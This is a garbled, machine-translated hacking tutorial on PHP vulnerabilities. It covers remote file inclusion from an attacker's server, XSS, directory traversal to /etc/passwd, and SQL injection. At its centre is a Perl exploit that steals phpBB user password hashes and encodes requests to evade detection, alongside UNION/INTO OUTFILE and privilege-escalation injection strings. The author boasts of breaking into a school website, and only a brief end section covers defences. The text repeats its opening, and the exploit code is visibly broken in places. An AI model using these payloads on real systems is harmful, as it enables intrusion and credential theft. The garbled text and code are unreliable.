From the perspective of network security, the most common WEB page vulnerabilities are ASP. in this regard, John is an expert and I have no right to speak. however, there are also serious security problems in PHP, but there are not many articles in this regard. here, I 'd like to discuss with you a little bit about the vulnerabilities on the PHP page. I have summarized the common PHP vulnerabilities. from the perspective of network security, ASP is the most common WEB page vulnerability. in this regard, john is an expert and I have no right to speak. however, there are also serious security problems in PHP, but there are not many articles in this regard. here, I 'd like to discuss with you a little bit about the vulnerabilities on the PHP page.
I have summarized common PHP vulnerabilities, including file vulnerabilities, script command execution vulnerabilities, file leaks, and SQL injection vulnerabilities. of course, some common technologies such as COOKIE spoofing will not be discussed here, and there are many such information on the Internet. let's analyze how to exploit these vulnerabilities one by one!
First, we will discuss the file inclusion vulnerability. this vulnerability should be unique to PHP. this is due to insufficient processing of external malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. let's look at an example: suppose in. php has the following code:
include($include."/xxx.php\");
?>
In this code, $ include is generally a set path, but we can construct a path to achieve the attack purpose. for example, we submit a. php? Include = http: // web/B. php, this web is the space we use for attacks, of course, B. php is the code we use to attack. we can. php writes code similar to passthru ("/bin/ls/etc. in this way, you can execute some targeted attacks. (Note: The web server should not be able to execute php code, or else there will be a problem. for more information, see < <如何对php程序中的常见漏洞进行攻击> >). There are many issues with this vulnerability, for example, PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, yabb se, phpBB, InvisionBoard, solmetra spaw Editor, Les Visiteurs, PhpGedView, X-Cart, and so on.
Next, let's take a look at the script command execution vulnerability. this is because the URI parameters submitted by the user are not fully filtered. submitting data containing malicious HTML code can trigger cross-site scripting attacks and obtain sensitive information of the target user. We also give an example: the index. PHP page in PHP 4.3.1 or earlier versions of PHP Transparent does not fully filter PHPSESSID. we can use this code to attack:
Http: // web/index. php? PHPSESSID = "> script... in script, we can construct functions to obtain some sensitive information of users. in terms of this vulnerability, PHP Transparent, PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, and so on.
Next, let's look at the file leakage vulnerability. this vulnerability is due to the lack of adequate filtering for user submitted parameters. remote attackers can exploit it to perform directory traversal attacks and obtain some sensitive information. Let's take phpMyAdmin as an example. in phpMyAdmin, export. the php page does not fully Filter user-submitted 'wh' parameters. remote attacker submissions contain multiple '.. /'character data, attackers can bypass the web root restriction and view any file information on the system with WEB permissions. For example, enter an address: export. php? What = .. /.. /.. /.. /.. /.. /etc/passwd % 00 can cause file leakage. in this regard, there are more: myPHPNuke, McNews and so on.
Finally, we have to go back to the most exciting place. think about how cool we usually use SQL injection on asp pages. in the past, we had to manually inject it until Xiaozhu realized "SQL injection password" (), and then developed NBSI, our NB-consortium is really pulling a piece of sky. he has helped major websites such as CSDN, monopoly forums, and China channels to identify vulnerabilities. (I'm not talking about this nonsense anymore. it's just a bit out of question ...). in fact, SQL injection in asp is roughly the same as SQL injection in php, but just pay attention to several functions. change asc to ASCII, len to LENGTH, and other functions remain unchanged. in fact, we see php SQL injection, will you think of PHP-NUKE and PHPBB? Good, as the saying goes, tree tricks, forums like mobile networks should be the king of vulnerabilities in the asp community. this doesn't mean that their forums are too secure, but they are too famous, when others use more, more people will study, and more security vulnerabilities will be discovered. the same is true for PHPBB. for a large part of PHP forums, PHPBB is generally used. its vulnerabilities have also been discovered, from the earliest phpBB.com phpBB 1.4.0 versions, to the latest phpBB 2.0.6 version of groupcp. php and search. php, profile. php, viewtopic. php and so on. it may look like a dozen. this has also led to some people who will use php as an experimental product when studying php vulnerabilities. The so-called best practice makes it possible. I believe that PHPBB will become better and better in the future.
Okay. let's analyze the cause of the vulnerability. viewtopic. for the php page, because viewtopic is called. in php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without filtering. attackers can submit special SQL strings to obtain the MD5 password, this password can be used for automatic logon or brute-force cracking. (I think no one will want to crack it, unless there is a particularly important reason). first look at the relevant source code:
# If (isset ($ HTTP_GET_VARS [POST_TOPIC_URL])
#{
# $ Topic_id = intval ($ HTTP_GET_VARS [POST_TOPIC_URL]);
#}
# Else if (isset ($ HTTP_GET_VARS ['topic '])
#{
# $ Topic_id = intval ($ HTTP_GET_VARS ['topic ']);
#}
We can see from the above that, if the submitted view = newest and sid has set a value, the query code executed will look like the following (if you have not read the source code of PHPBB, we recommend that you check the affected systems: phpBB 2.0.5 and phpBB 2.0.4 ).
# $ SQL = "select p. post_id
# FROM ". POSTS_TABLE." p, ". SESSIONS_TABLE." s, ". USERS_TABLE." u
# Where s. session_id = '$ session_id'
# AND u. user_id = s. session_user_id
# AND p. topic_id = $ topic_id
# AND p. post_time> = u. user_lastvisit
# Order by p. post_time ASC
# LIMIT 1 ";
Rick provides the following code for the disconnection test:
Use IO: Socket;
$ Remote = shift | 'localhost ';
$ View_topic = shift | '/phpBB2/viewtopic. php ';
$ Uid = shift | 2;
$ Port = 80;
$ Dbtype = 'mysql4'; # mysql4 or pgsql
Print "Trying to get password hash for uid $ uid server $ remote dbtype: $ dbtype \ n ";
$ P = "";
For ($ index = 1; $ index <= 32; $ index ++)
{
$ Socket = IO: Socket: INET-> new (PeerAddr => $ remote,
PeerPort => $ port,
Proto => "tcp ",
Type => SOCK_STREAM)
Or die "Couldnt connect to $ remote: $ port: $ @ \ n ";
$ Str = "GET $ view_topic "."? Sid = 1 & topic_id =-1 ". random_encode (make_dbsql ()." & view = newest "." HTTP/1.0 \ n ";
Print $ socket $ str;
Print $ socket "Cookie: phpBB2mysql_sid = 1 \ n"; # replace this for pgsql or remove it
Print $ socket "Host: $ remote \ n ";
While ($ answer = <$ socket>)
{
If ($ answer = ~ /Location:. * \ x23 (\ d +)/) # Matches the location: viewtopic. php? P = #
{
$ P. = chr ();
}
}
Close ($ socket );
}
Print "\ nMD5 Hash for uid $ uid is $ p \ n ";
# Random encode str. helps avoid detection
Sub random_encode
{
$ Str = shift;
$ Ret = "";
For ($ I = 0; $ I {
$ C = substr ($ str, $ I, 1 );
$ J = rand length ($ str) * 1000;
If (int ($ j) % 2 | $ c eq '')
{
$ Ret. = "%". sprintf ("% x", ord ($ c ));
}
Else
{
$ Ret. = $ c;
}
}
Return $ ret;
}
Sub make_dbsql
{
If ($ dbtype eq 'mysql4 ')
{
Return "union select ord (substring (user_password,". $ index. ", 1) from phpbb_users where user_id = $ uid /*";
} Elsif ($ dbtype eq 'pgsql ')
{
Return "; select ascii (substring (user_password from $ index for 1) as post_id from phpbb_posts p, phpbb_users u where u. user_id = $ uid or false ";
}
Else
{
Return "";
}
}
This code is broken and I will not explain it more. The function is to get the HASH value.
You may have some questions about why the changed functions I mentioned earlier are useless. I am not afraid of jokes: in fact, the query statements on some pages of many websites on the internet look like this:
Display. php? Sqlsave = select + * + from + aaa + where + xx = yy + order + by + bbb + desc
Don't laugh. this is true. I have been to several large websites. it is hard to tell which one, but I rely on this to go to the back-end for our school website (I hope the school's network center will not see this article, ^_^ ). use the previous function. otherwise, you have to change the password !!!
I almost forgot that PHP is different from ASP in SQL injection. mysql is not flexible in SQL statement usage. therefore, many query statements that can be used in mssql cannot work in mysql databases. the common injection statements are as follows: aaa. php? Id = a' into outfile 'pass.txt or aaa. php? Id = a 'Into outfile 'pass.txt '/* can be changed to aaa. php? Id = a' or 1 = 1 union select id, name, password form users into outfile 'C:/a.txt
In this way, you can export the database data as a file and view it.
Or: mode = ', user_level = '4
This statement is generally used to modify data. if a vulnerability exists on the page, the permission can be upgraded.
Others such as 'OR 1 = 1 -- or: 1' OR 1 = '1 is similar to asp. I will not talk about it here. in php, SQL injection seems to be the first vulnerability. too many pages have this problem.
As you can see, there is only one reason for the classification above: the submitted parameters are not filtered or the filtering is not rigorous. the black line of defense has always been under attack and defense. here, let's take a rough look at the preventive methods.
First of all, I personally think the most important thing is to set magic_quotes_gpc to ON. it is used to convert single quotes, double quotation marks, backslash, and empty characters into characters containing backslash, for example, in the select * from admin where username = '$ username' and password =' $ password' statement, an attacker wants to skip verification with either 1 or 1 = '1. However, the strings will be converted into the following: select * from admin where username = 'a' and password = '1 \ 'or 1 = \ '1' to prevent injection, the fact is that the addslashes () operation is automatically performed. if not, define function processing. now it seems that the PHP injection users are also quite depressed, because mysql versions earlier than myslq4 do not support substatements, and the new version of mysql will enable the magic_quotes_gpc option by default.
The solution to the file inclusion vulnerability is to require programmers to avoid using variables for parameters in the file. if variables are used, they must strictly check the file name to be included, it cannot be specified by any user. we recommend that you set global_variables to off. For example, it is necessary to restrict the PHP operation path in the preceding file. In addition, you must disable the PHP remote file opening function unless otherwise required. Modify the php. ini file: allow_url_fopen = Off (Note: See < > ).
